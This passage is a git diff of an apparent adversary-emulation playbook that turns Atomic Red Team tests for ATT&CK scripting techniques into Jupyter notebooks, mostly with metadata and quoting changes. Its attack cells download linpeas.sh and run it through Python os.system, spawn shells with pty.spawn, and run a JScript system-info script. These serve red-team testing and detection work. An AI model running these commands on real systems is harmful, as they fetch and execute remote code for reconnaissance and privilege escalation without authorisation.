'import requests;import os;url = \"https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh\";malicious_command = \"sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles\";session = requests.session();source = session.get(url).content;fd = open(\"T1059.006-payload\", \"wb+\");fd.write(source);fd.close();os.system(malicious_command)'\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ba897578", + "id": "368f6b63", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1584257f", + "id": "18ccf40a", "metadata": {}, - "source": "#### Cleanup: \n```sh\nrm T1059.006-payload \n```" + "source": "#### Cleanup: \n```sh\nrm T1059.006-payload \n```" }, { "cell_type": "code", "execution_count": null, - "id": "06b7004a", + "id": "0529f84d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "83cd4eaf", + "id": "80bf8a21", "metadata": {}, - "source": "### Atomic Test #2 - Execute Python via scripts (Linux)\nCreate Python file (.py) that downloads and executes shell script via executor arguments\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\nwhich_python=$(which python || which python3 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $?\n\n```\n##### Get Prereq Commands:\n```sh\npip install requests \n\n```" + "source": "### Atomic Test #2 - Execute Python via scripts\nCreate Python file (.py) that downloads and executes shell script via executor arguments\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\nwhich_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $?\n\n```\n##### Get Prereq Commands:\n```sh\npip install requests \n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e447450e", + "id": "387f981a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "325007d2", + "id": "6df53b6f", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nwhich_python=$(which python || which python3 || which python2)\necho 'import requests' > T1059.006.py\necho 'import os' >> T1059.006.py\necho 'url = \"https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh\"' >> T1059.006.py\necho 'malicious_command = \"sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles\"' >> T1059.006.py\necho 'session = requests.session()' >> T1059.006.py\necho 'source = session.get(url).content' >> T1059.006.py\necho 'fd = open(\"T1059.006-payload\", \"wb+\")' >> T1059.006.py\necho 'fd.write(source)' >> T1059.006.py\necho 'fd.close()' >> T1059.006.py\necho 'os.system(malicious_command)' >> T1059.006.py\n$which_python T1059.006.py\n```" + "```sh\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\necho 'import requests' > T1059.006.py\necho 'import os' >> T1059.006.py\necho 'url = \"https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh\"' >> T1059.006.py\necho 'malicious_command = \"sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles\"' >> T1059.006.py\necho 'session = requests.session()' >> T1059.006.py\necho 'source = session.get(url).content' >> T1059.006.py\necho 'fd = open(\"T1059.006-payload\", \"wb+\")' >> T1059.006.py\necho 'fd.write(source)' >> T1059.006.py\necho 'fd.close()' >> T1059.006.py\necho 'os.system(malicious_command)' >> T1059.006.py\n$which_python T1059.006.py\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "84449b7a", + "id": "5a5e7580", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "084917e7", + "id": "db2126e0", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm T1059.006.py T1059.006-payload \n```" }, { "cell_type": "code", "execution_count": null, - "id": "2f1fc375", + "id": "ab54d144", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "838caf76", + "id": "c9b88819", "metadata": {}, - "source": "### Atomic Test #3 - Execute Python via Python executables (Linux)\nCreate Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\nwhich_python=$(which python || which python3 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $?\n\n```\n##### Get Prereq Commands:\n```sh\npip install requests \n\n```" + "source": "### Atomic Test #3 - Execute Python via Python executables\nCreate Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Requires Python\n\n##### Check Prereq Commands:\n```sh\nwhich_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $?\n\n```\n##### Get Prereq Commands:\n```sh\npip install requests \n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "60909db0", + "id": "938c0a9c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8f44c5b6", + "id": "a5b0c58e", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nwhich_python=$(which python || which python3 || which python2)\necho 'import requests' > T1059.006.py\necho 'import os' >> T1059.006.py\necho 'url = \"https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh\"' >> T1059.006.py\necho 'malicious_command = \"sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles\"' >> T1059.006.py\necho 'session = requests.session()' >> T1059.006.py\necho 'source = session.get(url).content' >> T1059.006.py\necho 'fd = open(\"T1059.006-payload\", \"wb+\")' >> T1059.006.py\necho 'fd.write(source)' >> T1059.006.py\necho 'fd.close()' >> T1059.006.py\necho 'os.system(malicious_command)' >> T1059.006.py\n$which_python -c 'import py_compile; py_compile.compile(\"T1059.006.py\", \"T1059.006.pyc\")'\n$which_python T1059.006.pyc\n```" + "```sh\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\necho 'import requests' > T1059.006.py\necho 'import os' >> T1059.006.py\necho 'url = \"https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh\"' >> T1059.006.py\necho 'malicious_command = \"sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles\"' >> T1059.006.py\necho 'session = requests.session()' >> T1059.006.py\necho 'source = session.get(url).content' >> T1059.006.py\necho 'fd = open(\"T1059.006-payload\", \"wb+\")' >> T1059.006.py\necho 'fd.write(source)' >> T1059.006.py\necho 'fd.close()' >> T1059.006.py\necho 'os.system(malicious_command)' >> T1059.006.py\n$which_python -c 'import py_compile; py_compile.compile(\"T1059.006.py\", \"T1059.006.pyc\")'\n$which_python T1059.006.pyc\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2c2b14cf", + "id": "4e14f205", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "5f28b70e", + "id": "45aa7529", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm T1059.006.pyc T1059.006.py T1059.006-payload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "808f5b16", + "id": "c7a5e1a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "4740e74d", + "id": "6cab8058", "metadata": {}, - "source": "### Atomic Test #4 - Python pty module and spawn function used to spawn sh or bash\nUses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: Verify if python is in the environment variable path and attempt to import requests library.\n\n##### Check Prereq Commands:\n```bash\nwhich_python=$(which python || which python3 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $? \n\n```\n##### Get Prereq Commands:\n```bash\npip install requests\n\n```" + "source": "### Atomic Test #4 - Python pty module and spawn function used to spawn sh or bash\nUses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Verify if python is in the environment variable path and attempt to import requests library.\n\n##### Check Prereq Commands:\n```sh\nwhich_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $? \n\n```\n##### Get Prereq Commands:\n```sh\npip install requests\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ff3d5a7c", + "id": "022e4057", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "bec15bd8", + "id": "81cc0b1d", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\nwhich_python=$(which python || which python3 || which python2)\n$which_python -c \"import pty;pty.spawn('/bin/sh')\"\nexit\n$which_python -c \"import pty;pty.spawn('/bin/bash')\"\nexit```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\n$which_python -c \"import pty;pty.spawn('/bin/sh')\"\nexit\n$which_python -c \"import pty;pty.spawn('/bin/bash')\"\nexit```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1059b198", + "id": "39e17d0a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "c784dc56", + "id": "b7d34c9e", "metadata": {}, "source": "## Detection\nMonitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script." } @@ -188,13 +188,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.007.ipynb b/playbook/tactics/execution/T1059.007.ipynb index e1f2f6e9..ad76e07d 100644 --- a/playbook/tactics/execution/T1059.007.ipynb +++ b/playbook/tactics/execution/T1059.007.ipynb @@ -2,95 +2,95 @@ "cells": [ { "cell_type": "markdown", - "id": "b0ca693a", + "id": "3af62ce7", "metadata": {}, "source": "# T1059.007 - JavaScript\nAdversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)." }, { "cell_type": "markdown", - "id": "9d7d62a1", + "id": "b3273ada", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e02839d0", + "id": "1dca89ea", "metadata": {}, - "source": "### Atomic Test #1 - JScript execution to gather local computer information via cscript\nJScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\\T1059.007.out.txt\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Sample script must exist on disk at specified location (#{jscript})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1059.007\\src\\sys_info.js) {exit 0} else {exit 1} \n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -ItemType Directory (Split-Path PathToAtomicsFolder\\T1059.007\\src\\sys_info.js) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js\" -OutFile \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\"\n```" + "source": "### Atomic Test #1 - JScript execution to gather local computer information via cscript\nJScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\\T1059.007.out.txt\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Sample script must exist on disk at specified location (#{jscript})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\") -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js\" -OutFile \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c7b8ba81", + "id": "d5a96334", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "aeeaca69", + "id": "9afccad3", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncscript PathToAtomicsFolder\\T1059.007\\src\\sys_info.js > $env:TEMP\\T1059.007.out.txt'```" + "```command_prompt\ncscript \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\" > %tmp%\\T1059.007.out.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d2ac2fa0", + "id": "7370e14a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a7db0926", + "id": "b1ab1fdf", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nRemove-Item $env:TEMP\\T1059.007.out.txt -ErrorAction Ignore```" + "source": "#### Cleanup: \n```cmd\ndel %tmp%\\T1059.007.out.txt >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "847d4524", + "id": "b8f0656e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.007 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "be19a62f", + "id": "dbe0aaae", "metadata": {}, - "source": "### Atomic Test #2 - JScript execution to gather local computer information via wscript\nJScript execution test, execute JScript via wscript command. When successful, system information will be shown with four message boxes.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Sample script must exist on disk at specified location (#{jscript})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1059.007\\src\\sys_info.js) {exit 0} else {exit 1} \n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -ItemType Directory (Split-Path PathToAtomicsFolder\\T1059.007\\src\\sys_info.js) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js\" -OutFile \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\"\n```" + "source": "### Atomic Test #2 - JScript execution to gather local computer information via wscript\nJScript execution test, execute JScript via wscript command. When successful, system information will be shown with four message boxes.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Sample script must exist on disk at specified location (#{jscript})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\") -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js\" -OutFile \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c0872a1f", + "id": "74ef9266", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.007 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "15503231", + "id": "6e01dae0", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nwscript PathToAtomicsFolder\\T1059.007\\src\\sys_info.js```" + "```command_prompt\nwscript \"PathToAtomicsFolder\\T1059.007\\src\\sys_info.js\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0f86f6e8", + "id": "775b5390", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "19496a17", + "id": "24b9d509", "metadata": {}, "source": "## Detection\nMonitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent." } @@ -98,13 +98,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.008.ipynb b/playbook/tactics/execution/T1059.008.ipynb index 6a8535a0..fc071ed7 100644 --- a/playbook/tactics/execution/T1059.008.ipynb +++ b/playbook/tactics/execution/T1059.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "aa7adae7", + "id": "f6b33d7c", "metadata": {}, "source": "# T1059.008 - Network Device CLI\nAdversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)" }, { "cell_type": "markdown", - "id": "2f6c230c", + "id": "5e9dc7bd", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e723bd2e", + "id": "a52bc3a6", "metadata": {}, "source": "## Detection\nConsider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.009.ipynb b/playbook/tactics/execution/T1059.009.ipynb new file mode 100644 index 00000000..412b65a7 --- /dev/null +++ b/playbook/tactics/execution/T1059.009.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "a24a05d2", + "metadata": {}, + "source": "# T1059.009 - Cloud API\nAdversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006). \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment. " + }, + { + "cell_type": "markdown", + "id": "448ba1b5", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/execution/T1059.ipynb b/playbook/tactics/execution/T1059.ipynb index 9e743a71..94e0b38b 100644 --- a/playbook/tactics/execution/T1059.ipynb +++ b/playbook/tactics/execution/T1059.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "328fc7ae", + "id": "56deb152", "metadata": {}, "source": "# T1059 - Command and Scripting Interpreter\nAdversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)" }, { "cell_type": "markdown", - "id": "a87afb89", + "id": "f81a4f3b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "eb7821a6", + "id": "9edb189a", "metadata": {}, "source": "## Detection\nCommand-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script." }, { "cell_type": "markdown", - "id": "ae8f34d0", + "id": "330a2728", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can manipulate the output of system commands issued to alter information the adversary might use during their activity.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1061.ipynb b/playbook/tactics/execution/T1061.ipynb deleted file mode 100644 index dad039d4..00000000 --- a/playbook/tactics/execution/T1061.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "b1932aa3", - "metadata": {}, - "source": "# T1061 - Graphical User Interface\n**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions." - }, - { - "cell_type": "markdown", - "id": "ff74e2a8", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "35216b76", - "metadata": {}, - "source": "## Detection\nDetection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1064.ipynb b/playbook/tactics/execution/T1064.ipynb deleted file mode 100644 index 7e54aad9..00000000 --- a/playbook/tactics/execution/T1064.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "09cae43d", - "metadata": {}, - "source": "# T1064 - Scripting\n**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to 